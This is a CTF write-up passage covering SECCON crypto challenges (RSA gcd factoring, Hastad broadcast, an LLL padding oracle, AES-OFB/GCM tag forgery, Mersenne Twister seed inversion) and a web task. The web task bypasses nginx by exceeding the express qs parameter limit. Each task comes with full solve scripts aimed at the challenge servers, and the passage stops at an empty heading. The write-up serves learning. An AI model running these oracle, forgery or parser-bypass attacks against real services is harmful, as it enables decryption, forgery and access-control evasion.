This time at TSJ (essentially solo QQ) I solved some problems, learned something as usual, so I will briefly record the methods.

Crypto#

pqpq#

from Crypto.Util.number import *
from Crypto.Random import *
from flag import flag

p = getPrime(512)
q = getPrime(512)
r = getPrime(512)
n = p * q * r
e = 2 * 65537

assert n.bit_length() // 8 - len(flag) > 0
padding = get_random_bytes(n.bit_length() // 8 - len(flag))
m = bytes_to_long(padding + flag)

assert m < n

c1p = pow(p, e, n)
c1q = pow(q, e, n)
cm = pow(m, e, n)
c1 = (c1p - c1q) % n
c2 = pow(p - q, e, n)

print(f"e = {e}")
print(f"n = {n}")
# p^e - q^e mod n
print(f"c1 = {c1}")
# (p-q)^e mod n
print(f"c2 = {c2}")
# m^e mod n
print(f"cm = {cm}")

First, we can get

So we have $\gcd(c_1+c_2,n)=p$ and $\gcd(c_1-c_2,n)=q$, which completely factorizes $n$.

Next, because $e = 2 \times 65537$, due to the presence of $2$, it cannot be directly inverted, but we can still find the value of $m^2 \mod{n}$. Then, we can calculate the square root for $p, q, r$ respectively and combine them using CRT.

from math import gcd
from Crypto.Util.number import long_to_bytes

e = 131074
n = 587926815910957928506680558951380405698765957736660571041732511939308424899531125274073420353104933723578377320050609109973567093301465914201779673281463229043539776071848986139657349676692718889679333084650490543298408820393827884588301690661795023628407437321580294262453190086595632660415087049509707898690300735866307908684649384093580089579066927072306239235691848372795522705863097316041992762430583002647242874432616919707048872023450089003861892443175057
c1 = 92883677608593259107779614675340187389627152895287502713709168556367680044547229499881430201334665342299031232736527233576918819872441595012586353493994687554993850861284698771856524058389658082754805340430113793873484033099148690745409478343585721548477862484321261504696340989152768048722100452380071775092776100545951118812510485258151625980480449364841902275382168289834835592610827304151460005023283820809211181376463308232832041617730995269229706500778999
c2 = 46236476834113109832988500718245623668321130659753618396968458085371710919173095425312826538494027621684566936459628333712619089451210986870323342712049966508077935506288610960911880157875515961210931283604254773154117519276154872411593688579702575956948337592659599321668773003355325067112181265438366718228446448254354388848428310614023369655106639341893255469632846938342940907002778575355566044700049191772800859575284398246115317686284789740336401764665472
cm = 357982930129036534232652210898740711702843117900101310390536835935714799577440705618646343456679847613022604725158389766496649223820165598357113877892553200702943562674928769780834623569501835458020870291541041964954580145140283927441757571859062193670500697241155641475887438532923910772758985332976303801843564388289302751743334888885607686066607804176327367188812325636165858751339661015759861175537925741744142766298156196248822715533235458083173713289585866

# c1 = p^e - q^e mod pq
# c2 = p^e + q^e mod pq
# c1 + c2 = 2p^e mod pq

p = gcd(c1 + c2, n)
q = gcd(c1 - c2, n)
r = n // (p * q)
d = pow(e // 2, -1, (p - 1) * (q - 1) * (r - 1))
m2 = pow(cm, d, n)

for mp in GF(p)(m2).sqrt(all=True):
    for mq in GF(q)(m2).sqrt(all=True):
        for mr in GF(r)(m2).sqrt(all=True):
            m = crt([ZZ(mp), ZZ(mq), ZZ(mr)], [p, q, r])
            print(long_to_bytes(int(m)))
# SECCON{being_able_to_s0lve_this_1s_great!}

BBB#

from Crypto.Util.number import bytes_to_long, getPrime
from random import randint
from math import gcd
from secret import FLAG
from os import urandom


assert len(FLAG) < 100


def generate_key(rng, seed):
    e = rng(seed)
    while True:
        for _ in range(randint(10,100)):
            e = rng(e)
        p = getPrime(1024)
        q = getPrime(1024)
        phi = (p-1)*(q-1)
        if gcd(e, phi) == 1:
            break

    n = p*q
    return (n, e)


def generate_params():
    p = getPrime(1024)
    a = randint(0, p-1)

    return (p,a)


def main():
    p,a = generate_params()
    print("[+] The parameters of RNG:")
    print(f"{a=}")
    print(f"{p=}")
    b = int(input("[+] Inject [b]ackdoor!!: "))
    rng = lambda x: (x**2 + a*x + b) % p

    keys = []
    seeds = []
    for i in range(5):
        seed = int(input("[+] Please input seed: "))
        seed %= p
        if seed in seeds:
            print("[!] Same seeds are not allowed!!")
            exit()
        seeds.append(seed)
        n, e = generate_key(rng, seed)
        if e <= 10:
            print("[!] `e` is so small!!")
            exit()

        keys.append((n,e))

    flag = bytes_to_long(FLAG + urandom(16))
    for n,e in keys:
        c = pow(flag, e, n)
        print("[+] Public Key:")
        print(f"{n=}")
        print(f"{e=}")
        print("[+] Cipher Text:", c)


if __name__ == "__main__":
    main()

We can notice that the flag is at most 116 bytes, and the smallest $e$ can only be $11$, and $116 \times 8 \times 11 < 2048 \times 5$, so it is known that we need to use the Hastad broadcast attack.

To achieve the Hastad broadcast attack, we need five instances of $e=11$, so we need to manipulate the RNG. First, the number of loops in generate_key is uncertain, which made me think of finding a fixed point $f(x)=x$. However, since it does not allow repeated use of seed, I thought of finding $f(f(f(f(f(x)))))=x$, and $x=e=11$. This part can be easily achieved using Sage.

After finding it, we can use $x, f(x), f(f(x)), f(f(f(x))), f(f(f(f(x))))$ as seeds to send over. If we are lucky and the number of loops is correct, the final $e=11$ can solve the problem.

However, there is a problem with this challenge as the remote generate_key takes a long time, and the luck mentioned earlier actually only has a $\frac{1}{5}^5$ chance, so we need to find a way to improve this method.

I noticed that it also checks gcd(e, phi) == 1, so as long as $e$ is even, it will definitely not return. Therefore, we just need to make $x, f(x), f(f(x)), f(f(f(x))), f(f(f(f(x))))$ such that only $x$ is odd, and the others are even.

This successfully reduces the bruteforce time, and then we just need to try a few more times.

from pwn import process, remote
from Crypto.Util.number import long_to_bytes

# io = process(["python", "chall.py"])
io = remote("BBB.seccon.games", 8080)
io.recvuntil(b"a=")
a = int(io.recvline().strip())
io.recvuntil(b"p=")
p = int(io.recvline().strip())


F = GF(p)

E = 11
P.<x, b> = F[]
f = x ^ 2 + a * x + b
bs = (
    (f(f(f(f(f, b), b), b), b)(E, b) - E)
    .univariate_polynomial()
    .roots(multiplicities=False)
)

for b in bs:
    print("=" * 40)
    P.<x> = F[]
    f = x ^ 2 + a * x + b
    isgood = False
    v = E
    seeds = set()
    for i in range(10):
        print(i, v)
        seeds.add(int(v))
        v = f(v)
        if v != E:
            # we don't want all same value
            isgood = True
    if isgood:
        break
print(f"{b = }")
print(f"{seeds = }")
if len(seeds) != 5 or not all([s % 2 == 0 for s in set(seeds) - {E}]):
    print("bad seeds :(")
    exit()
io.recvuntil(b"!!: ")
io.sendline(str(b).encode())
for seed in seeds:
    io.recvuntil(b"seed: ")
    io.sendline(str(seed).encode())
ns = []
cs = []
for _ in range(5):
    io.recvuntil(b"Public Key:")
    io.recvuntil(b"n=")
    n = int(io.recvline().strip())
    io.recvuntil(b"e=")
    e = int(io.recvline().strip())
    io.recvuntil(b"Cipher Text: ")
    c = int(io.recvline().strip())
    print(f"#{_}")
    print(f"{n = }")
    print(f"{e = }")
    print(f"{c = }")
    if e != E:
        print("bad e :(", _)
        exit()
    ns.append(n)
    cs.append(c)
print(f"{ns = }")
print(f"{cs = }")
c = crt(cs, ns)
print(f"{c = }")
m = c.nth_root(E)
print(long_to_bytes(m))
# for i in $(seq 1 16); do python -u test.sage.py > out/out$i.txt &; done
# SECCON{Can_you_find_d_in_bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbdbbbbbbbbbbbbbbbbbbbbbbbbbbbbb?}

Actually, there is a better method here, without bruteforcing like I did. First, let $f(s)=11$, then find $f(s')=s$, and then find $f(s'')=s'$, and so on. Since the number of loops is more than 10 times, this method can ensure that the final result is $e=11$. Refer to 4yn's writeup.

this_is_not_lsb#

from Crypto.Util.number import *
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
e = 65537
n = p * q
phi = (p - 1) * (q - 1)

d = pow(e, -1, phi)

print(f"n = {n}")
print(f"e = {e}")
print(f"flag_length = {flag.bit_length()}")

# Oops! encrypt without padding!
c = pow(flag, e, n)
print(f"c = {c}")

# padding format: 0b0011111111........
def check_padding(c):
    padding_pos = n.bit_length() - 2
    m = pow(c, d, n)

    return (m >> (padding_pos - 8)) == 0xFF


while True:
    c = int(input("c = "))
    print(check_padding(c))

At first glance, I thought of rsa interval oracle iv, so I directly applied the same LLL method to solve it.

from pwn import process, remote
import random
import gmpy2


def pow(a, b, c):
    return int(gmpy2.powmod(a, b, c))


# io = process(["python", "problem2.py"])
io = remote("this-is-not-lsb.seccon.games", 8080)
io.recvuntil(b"n = ")
n = int(io.recvline())
io.recvuntil(b"e = ")
e = int(io.recvline())
io.recvuntil(b"flag_length = ")
flag_length = int(io.recvline())
io.recvuntil(b"c = ")
c = int(io.recvline())

# def oracle(c):
#     io.sendlineafter(b'c = ', str(c).encode())
#     return io.recvline().strip() == b'True'

k = n.bit_length() - 2 - 8
L = 0xFF << k
R = L + (1 << k) - 1
B = 1 << flag_length


def batch_oracle(cc):
    io.sendline("\n".join(map(str, cc)).encode())
    res = []
    for _ in range(len(cc)):
        io.recvuntil(b"c = ")
        res.append(io.recvline().strip() == b"True")
    return res


good = []
while len(good) < flag_length // 10 + 15:
    aa = [random.randrange(1, n) for _ in range(2048)]
    cc = [pow(a, e, n) * c % n for a in aa]
    res = batch_oracle(cc)
    good += [a for a, r in zip(aa, res) if r]
    print("cur", len(good))
print(len(good))

M = matrix(good).stack(matrix.identity(len(good)) * n)
M = matrix([1] + len(good) * [0]).T.augment(M)
load("solver.sage")
_, _, fin = solve(M, [0] + [L] * len(good), [B] + [R] * len(good))
print(fin[0])
# 923527005889600515717927945977637659146494233475843599679540322066522531810019204383510355169667412726034587411782045475101164773757
# SECCON{WeLC0me_t0_tHe_MirRoR_LaNd!_tHIs_is_lSb_orAcLe!}

However, this is obviously not the intended solution. The expected method is simply binary search XD. Just $am \approx K$, and then search for $a$.

insufficient#

from random import randint
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG


# f(x,y,z) = a1*x + a2*x^2 + a3*x^3
#          + b1*y + b2*y^2 + b3*y^3
#          + c*z + s mod p
def calc_f(coeffs, x, y, z, p):
    ret = 0
    ret += x * coeffs[0] + pow(x, 2, p) * coeffs[1] + pow(x, 3, p)*coeffs[2]
    ret += y * coeffs[3] + pow(y, 2, p) * coeffs[4] + pow(y, 3, p)*coeffs[5]
    ret += z * coeffs[6]
    ret += coeffs[7]

    return ret % p


p = getPrime(512)


# [a1, a2, a3, b1, b2, b3, c, s]
coeffs = [randint(0, 2**128) for _ in range(8)]

key = 0
for coeff in coeffs:
    key <<= 128
    key ^= coeff

cipher_text = bytes_to_long(FLAG) ^ key
print(cipher_text)

shares = []
for _ in range(4):
    x = randint(0, p)
    y = randint(0, p)
    z = randint(0, 2**128)

    w = calc_f(coeffs, x, y, z, p)
    packed_share = ((x,y), w)
    shares.append(packed_share)

print(p)
print(shares)

This problem has a trivariate function $f(x,y,z)$ with a total of 8 unknowns. It gives you the values of four points $w \equiv f(x,y,z) \pmod{p}$ and $x,y$. (Note, $z$ is not given here)

The method is also obvious, as the unknowns and the value of the $z$ coordinate are only 128 bits, while $p$ is $512$ bits, so it is probably related to LLL.

First, treat all coeffs and z as unknowns, and you will get four equations. Then, treat 2-term monomials (such as $c z_1$, $c z_2$) as independent terms to get an underdetermined linear system.

Then, use the CVP solver to get some solutions. In local testing, you will find that the values of $a_i, b_i$ are correct, but the values of $c z_i, s$ are wrong.

Testing a bit will show that the incorrect $c' z_i', s'$ are actually not far from the true values, with the following relationship:

Values with $'$ are incorrect values

So, subtracting and taking the gcd will give the correct $c$. Then, guessing the sign of $k$ will give $z_i$, and then you can calculate $s$ to restore the entire flag.

Later, I thought about the problem and realized it is related to the function $f$, because

Note that $c, z, s$ are all unknowns, meaning they are constants. So naturally, $s$ and $c z_i$ will have the relationship with $k$.

from sage.all import *
from random import randint
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from itertools import product
from functools import reduce


with open("output.txt") as f:
    cipher_text = eval(f.readline())
    p = eval(f.readline())
    shares = eval(f.readline())

F = GF(p)
P = PolynomialRing(F, "a1,a2,a3,b1,b2,b3,c,s,z1,z2,z3,z4")
a1, a2, a3, b1, b2, b3, c, s, *zs = P.gens()
nvars = len(P.gens())

eqs = []
for ((x, y), w), z in zip(shares, zs):
    ww = (
        a1 * x
        + a2 * x**2
        + a3 * x**3
        + b1 * y
        + b2 * y**2
        + b3 * y**3
        + c * z
        + s
    )
    eqs.append(ww - w)

M, v = Sequence(eqs).coefficient_matrix()
v = vector(v)[:-1]
M = M.dense_matrix().T.change_ring(ZZ)
target = -M[-1]
M = M[:-1]
nr, nc = M.dimensions()
print(nr, nc)
IP = matrix.identity(nc) * p
I = matrix.identity(nr)
Z = matrix.zero(nc, nr)
B = block_matrix(ZZ, [[M, I], [IP, Z]])
print(B.change_ring(Zmod(10)))

load("solver.sage")
lb = list(target) + [0] * nr
ub = list(target) + [ZZ(mono((2**128,) * nvars)) for mono in v]
result, applied_weights, fin = solve(B, lb, ub)
res = [x // y for x, y in zip(result, applied_weights)]
print(v)
print(vector(res))
cz1, cz2, cz3, cz4, a1, a2, a3, b1, b2, b3, s = res[nc:]

# a1,a2,a3,b1,b2,b3 are correct here
# but cz1,cz2,cz3,cz4,s are not...
# it seems cz1 is actually c*z1+k
#      and cz2 is actually c*z2+k
# and s is actuall s-k

czs = [cz1, cz2, cz3, cz4]
diffs = [x - y for x, y in product(czs, repeat=2)]
c = reduce(gcd, diffs)
z1, z2, z3, z4 = [x // c + 1 for x in czs]
k = cz1 - c * z1
assert k == cz2 - c * z2
s += k

roots = [a1, a2, a3, b1, b2, b3, c, s, z1, z2, z3, z4]
for eq in eqs:
    assert eq(*roots) == 0


key = 0
for coeff in [a1, a2, a3, b1, b2, b3, c, s]:
    key <<= 128
    key ^= coeff
flag = long_to_bytes(cipher_text ^ key)
print(flag)
# SECCON{Unfortunately_I_could_not_come_up_with_a_more_difficult_problem_than_last_year_sorry...-6fc18307d3ed2e7673a249abc2e0e22c}

witches_symmetric_exam#

from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flag import flag, secret_spell

key = get_random_bytes(16)
nonce = get_random_bytes(16)


def encrypt():
    data = secret_spell
    gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    gcm_ciphertext, gcm_tag = gcm_cipher.encrypt_and_digest(data)

    ofb_input = pad(gcm_tag + gcm_cipher.nonce + gcm_ciphertext, 16)

    ofb_iv = get_random_bytes(16)
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)
    ciphertext = ofb_cipher.encrypt(ofb_input)
    return ofb_iv + ciphertext


def decrypt(data):
    ofb_iv = data[:16]
    ofb_ciphertext = data[16:]
    ofb_cipher = AES.new(key, AES.MODE_OFB, iv=ofb_iv)

    try:
        m = ofb_cipher.decrypt(ofb_ciphertext)
        temp = unpad(m, 16)
    except:
        return b"ofb error"

    try:
        gcm_tag = temp[:16]
        gcm_nonce = temp[16:32]
        gcm_ciphertext = temp[32:]
        gcm_cipher = AES.new(key, AES.MODE_GCM, nonce=gcm_nonce)

        plaintext = gcm_cipher.decrypt_and_verify(gcm_ciphertext, gcm_tag)
    except:
        return b"gcm error"

    if b"give me key" == plaintext:
        your_spell = input("ok, please say secret spell:").encode()
        if your_spell == secret_spell:
            return flag
        else:
            return b"Try Harder"

    return b"ok"


print(f"ciphertext: {encrypt().hex()}")
while True:
    c = input("ciphertext: ")
    print(decrypt(bytes.fromhex(c)))

This problem looks very complicated, but the concept is simple. However, the implementation is even more complicated ==.

The key to this problem is that it has an AES-OFB padding oracle. Since OFB encryption and decryption are the same, we can use the oracle to achieve arbitrary plaintext encryption, which means we can write an $E_k$ function. With $E_k$, decrypting OFB is very simple, as it is just a xor.

For the GCM part, once we have $E_k$, it is also very simple, because the Auth Key is generated using $E_k$ ($H = E_k(0^{128})$), so we can forge the auth tag for any ciphertext and control the content of the decrypted plaintext.

Implementing $E_k$ using the padding oracle is similar to CBC padding oracle. The real difficulty in implementation is how to use an $E_k$ function to simulate all GCM operations. I did this by reading the internal implementation of pycryptodome and monkeypatching some parts to simulate GCM using $E_k$.

from pwn import process, remote
import ast
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher._mode_gcm import _GHASH, _ghash_portable as ghash_c
from Crypto.Util.number import *

# io = process(["python", "problem.py"])
io = remote("witches-symmetric-exam.seccon.games", 8080)
io.recvuntil(b"ciphertext: ")
ciphertext = bytes.fromhex(io.recvline().decode().strip())


def decrypt(ct, ret=True):
    io.sendlineafter(b"ciphertext: ", ct.hex().encode())
    if ret:
        return ast.literal_eval(io.recvline().strip().decode())


def batch_decrypt(cts):
    io.sendline("\n".join(map(bytes.hex, cts)).encode())
    res = []
    for _ in range(len(cts)):
        io.recvuntil(b"ciphertext: ")
        r = ast.literal_eval(io.recvline().strip().decode())
        res.append(r)
    return res


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


def ecb_enc(pt):
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j

            if decrypt(pt + ct[::-1]) != b"ofb error":
                result += bytes([j ^ pad])
                break
        else:
            raise Exception(f"Padding oracle failed")
    return result[::-1]


def ecb_enc(pt):
    # optimized for remote using batch decryption oracle
    print("Encrypting", pt)
    assert len(pt) == 16
    result = b""
    for i in range(16):
        pad = i + 1
        cts = []
        ct = bytearray([0] * 16)
        for j in range(256):
            ct[:i] = [pad ^ x for k, x in enumerate(result)]
            ct[i] = j
            cts.append(bytes(ct))
        res = batch_decrypt([pt + ct[::-1] for ct in cts])
        for j, r in enumerate(res):
            if r != b"ofb error":
                result += bytes([j ^ pad])
                break
    return result[::-1]


def ofb_decrypt(iv, ct):
    pt = b""
    for i in range(0, len(ct), 16):
        iv = ecb_enc(iv)
        pt += xor(iv, ct[i : i + 16])
    return pt


ofb_iv = ciphertext[:16]
ofb_ciphertext = ciphertext[16:]
ofb_input = ofb_decrypt(ofb_iv, ofb_ciphertext)
print(ofb_input)
ofb_stream = xor(ofb_input, ofb_ciphertext)
print(ofb_stream)


def gcm_oracle(inp):
    inp = pad(inp, 16)
    assert len(inp) <= len(ofb_stream)
    return decrypt(ofb_iv + xor(ofb_stream, inp), ret=False)


gcm_concat = unpad(ofb_input, 16)
gcm_tag = gcm_concat[:16]
gcm_nonce = gcm_concat[16:32]
gcm_ciphertext = gcm_concat[32:]


class FakeCTR:
    def __init__(self, ecb_enc, initial_value, nonce):
        if isinstance(initial_value, bytes):
            initial_value = int.from_bytes(initial_value, "big")
        self.ecb_enc = ecb_enc
        self.initial_value = initial_value
        self.nonce = nonce
        self.ctr = (int.from_bytes(nonce, "big") << 32) | initial_value

    def encrypt(self, pt, output=None):
        ct = b""
        for i in range(0, len(pt), 16):
            ct += xor(self.ecb_enc(self.ctr.to_bytes(16, "big")), pt[i : i + 16])
            self.ctr += 1
        return ct


class FakeGCM:
    def __init__(self, ecb_enc, nonce):
        self.ecb_enc = ecb_enc
        self.nonce = nonce
        self.hash_subkey = ecb_enc(b"\x00" * 16)
        fill = (16 - (len(nonce) % 16)) % 16 + 8
        ghash_in = nonce + b"\x00" * fill + long_to_bytes(8 * len(nonce), 8)
        self.j0 = _GHASH(self.hash_subkey, ghash_c).update(ghash_in).digest()
        self.nonce_ctr = self.j0[:12]
        self.iv_ctr = (bytes_to_long(self.j0) + 1) & 0xFFFFFFFF

    def encrypt(self, msg):
        cip = AES.new(b"\x00" * 16, AES.MODE_GCM, nonce=gcm_nonce)
        cip._cipher = FakeCTR(ecb_enc, self.iv_ctr, self.nonce_ctr)
        cip._tag_cipher = FakeCTR(ecb_enc, self.j0, b"")
        cip._signer = _GHASH(self.hash_subkey, ghash_c)
        return cip.encrypt_and_digest(msg)


gcm = FakeGCM(ecb_enc, gcm_nonce)
ctr = FakeCTR(ecb_enc, gcm.iv_ctr, gcm.nonce_ctr)
secret_spell = xor(ctr.encrypt(b"\x00" * len(gcm_ciphertext)), gcm_ciphertext)
print(secret_spell)
ct, tag = gcm.encrypt(b"give me key")


gcm_oracle(tag + gcm_nonce + ct)
io.sendlineafter(b"spell:", secret_spell)
io.interactive()
# SECCON{you_solved_this!?I_g1ve_y0u_symmetr1c_cipher_mage_certificate}

For a version that handles GCM entirely by itself, refer to rkm0959's solve script.

janken vs kurenaif#

import os
import signal
import random
import secrets

FLAG = os.getenv("FLAG", "fake{cast a special spell}")


def janken(a, b):
    return (a - b + 3) % 3


signal.alarm(1000)
print("kurenaif: Hi, I'm a crypto witch. Let's a spell battle with me.")

witch_spell = secrets.token_hex(16)
witch_rand = random.Random()
witch_rand.seed(int(witch_spell, 16))
print(f"kurenaif: My spell is {witch_spell}. What about your spell?")

your_spell = input("your spell: ")
your_random = random.Random()
your_random.seed(int(your_spell, 16))

for _ in range(666):
    witch_hand = witch_rand.randint(0, 2)
    your_hand = your_random.randint(0, 2)

    if janken(your_hand, witch_hand) != 1:
        print("kurenaif: Could you come here the day before yesterday?")
        quit()

print("kurenaif: Amazing! Your spell is very powerful!!")
print(f"kurenaif: OK. The flag is here. {FLAG}")

This problem is simple if you just need to find a Python random object that can produce the specified winning output. Just use z3 or something else to solve it and set the states. However, the difficulty lies in the requirement that the random object must be generated using a seed, not just any integer seed.

Looking at the implementation of random_seed, we can see that it cuts the int into 32 bits and uses init_by_array to perform some complex operations to initialize the state.

Then, we can find that someone has successfully used z3 to reverse the states back to the seed in RNGeesus's mersenne.py. So, I combined it with icemonster/symbolic_mersenne_cracker and let z3 solve it, which indeed succeeded. The only drawback of this method is that it takes more than ten minutes to solve, but since the problem's time limit is 1000 seconds, it probably means this is intended.

from z3 import *
from pwn import process, remote, context
import signal
import random
from itertools import count

context.log_level = "debug"

# io = process(["python", "server.py"])
io = remote("janken-vs-kurenaif.seccon.games", 8080)
io.recvuntil(b"is ")
THE_SEED = int(io.recvuntil(b".")[:-1].decode(), 16)
signal.alarm(1000)


def randbelow(r, n):
    k = n.bit_length()
    v = r.getrandbits(k)
    while v >= n:
        v = r.getrandbits(k)
    return v


def janken(a, b):
    return (a - b + 3) % 3


r1 = random.Random(THE_SEED)
vals = []
for _ in range(666):
    b = r1.randint(0, 2)
    a = (1 - 3 + b) % 3
    assert janken(a, b) == 1
    vals.append(a)


class Untwister:
    def __init__(self):
        self.ctr = count()
        name = next(self.ctr)
        self.init_MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
        self.MT = self.symbolic_twist(self.init_MT)
        self.index = 0
        self.solver = Solver()
        self.subs = 0

    # This particular method was adapted from https://www.schutzwerk.com/en/43/posts/attacking_a_random_number_generator/
    def symbolic_untamper(self, solver, y):
        name = next(self.ctr)

        y1 = BitVec(f"y1_{name}", 32)
        y2 = BitVec(f"y2_{name}", 32)
        y3 = BitVec(f"y3_{name}", 32)
        y4 = BitVec(f"y4_{name}", 32)

        equations = [
            y2 == y1 ^ (LShR(y1, 11)),
            y3 == y2 ^ ((y2 << 7) & 0x9D2C5680),
            y4 == y3 ^ ((y3 << 15) & 0xEFC60000),
            y == y4 ^ (LShR(y4, 18)),
        ]

        solver.add(equations)
        return y1

    def symbolic_twist(
        self,
        MT,
        n=624,
        upper_mask=0x80000000,
        lower_mask=0x7FFFFFFF,
        a=0x9908B0DF,
        m=397,
    ):
        """
        This method models MT19937 function as a Z3 program
        """
        MT = [i for i in MT]  # Just a shallow copy of the state

        for i in range(n):
            x = (MT[i] & upper_mask) + (MT[(i + 1) % n] & lower_mask)
            xA = LShR(x, 1)
            xB = If(
                x & 1 == 0, xA, xA ^ a
            )  # Possible Z3 optimization here by declaring auxiliary symbolic variables
            MT[i] = MT[(i + m) % n] ^ xB

        return MT

    def get_symbolic(self, guess):
        name = next(self.ctr)
        ERROR = 'Must pass a string like "?1100???1001000??0?100?10??10010" where ? represents an unknown bit'

        assert type(guess) == str, ERROR
        assert all(map(lambda x: x in "01?", guess)), ERROR
        assert len(guess) <= 32, "One 32-bit number at a time please"
        guess = guess.zfill(32)

        self.symbolic_guess = BitVec(f"symbolic_guess_{name}", 32)
        guess = guess[::-1]

        for i, bit in enumerate(guess):
            if bit != "?":
                self.solver.add(Extract(i, i, self.symbolic_guess) == bit)

        return self.symbolic_guess

    def submit(self, guess):
        """
        You need 624 numbers to completely clone the state.
            You can input less than that though and this will give you the best guess for the state
        """
        self.subs += 1
        if self.index >= 624:
            name = next(self.ctr)
            next_mt = self.symbolic_twist(self.MT)
            self.MT = [BitVec(f"MT_{i}_{name}", 32) for i in range(624)]
            for i in range(624):
                self.solver.add(self.MT[i] == next_mt[i])
            self.index = 0

        symbolic_guess = self.get_symbolic(guess)
        symbolic_guess = self.symbolic_untamper(self.solver, symbolic_guess)
        self.solver.add(self.MT[self.index] == symbolic_guess)
        self.index += 1

    def get_random(self, skip_states=True):
        """
        This will give you a random.Random() instance with the cloned state.
        """
        print("Solving...")
        self.solver.check()
        model = self.solver.model()

        # Compute best guess for state
        state = list(map(lambda x: model[x].as_long(), self.init_MT))
        result_state = (3, tuple(state + [624]), None)
        r = random.Random()
        r.setstate(result_state)
        if skip_states:
            for _ in range(self.subs):
                r.getrandbits(32)
        return r


from RNGeesus.src.code_mersenne.mersenne import MT19937

num_seeds = 624
MT = [BitVecVal(i, 32) for i in MT19937(19650218).MT]
SEEDS = [BitVec(f"seed[{i}]", 32) for i in range(num_seeds)]
i, j = 1, 0
n = 624
for k in range(n):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1664525)) + SEEDS[j] + j
    i += 1
    j += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
    if j == num_seeds:
        j = 0
for k in range(n - 1):
    MT[i] = (MT[i] ^ ((MT[i - 1] ^ LShR(MT[i - 1], 30)) * 1566083941)) - i
    i += 1
    if i >= n:
        MT[0] = MT[n - 1]
        i = 1
MT[0] = BitVecVal(0x80000000, 32)

r1 = random.Random(THE_SEED)
ut = Untwister()
for i in range(624):
    ut.solver.add(ut.init_MT[i] == MT[i])
for v in vals:
    ut.submit(f"{v:02b}" + "?" * 30)
r2 = ut.get_random(skip_states=False)
for v in vals:
    assert janken(r2.randint(0, 2), r1.randint(0, 2)) == 1
m = ut.solver.model()
seeds = [m[s].as_long() for s in SEEDS]
print(seeds)


def array_to_int(arr):
    return int.from_bytes(
        b"".join([int.to_bytes(i, 4, "little") for i in arr]), "little"
    )


seed = array_to_int(seeds)
r1 = random.Random(THE_SEED)
r3 = random.Random(seed)
for v in vals:
    assert janken(r3.randint(0, 2), r1.randint(0, 2)) == 1

io.sendline(hex(seed).encode())
io.interactive()
# SECCON{https://youtu.be/h0GSFxoRhrc}

Later, I read y011d4's writeup and found that his solve script only takes about 20 seconds to solve...

It seems I should study his use of z3 to make my script faster.

Web#

skipinx#

const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  console.log(req.query)
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

And there is an nginx in front of this server:

server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

Just from the set $args line, I couldn't think of a way to bypass it, so I studied the express.js query string handling qs module. When it encounters duplicate keys, it defaults to converting them into an array, so req.query.proxy.includes("nginx") will still be true, so this cannot be bypassed.

Later, I read the code and found that there is a parameterLimit option, which is used as the maximum number of splits for split(). So, by inserting more &, the last &proxy=nginx will not be treated as an independent option, thus bypassing it.

http://skipinx.seccon.games:8080/?proxy=1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

# SECCON{sometimes_deFault_options_are_useful_to_bypa55}

bffcalc#

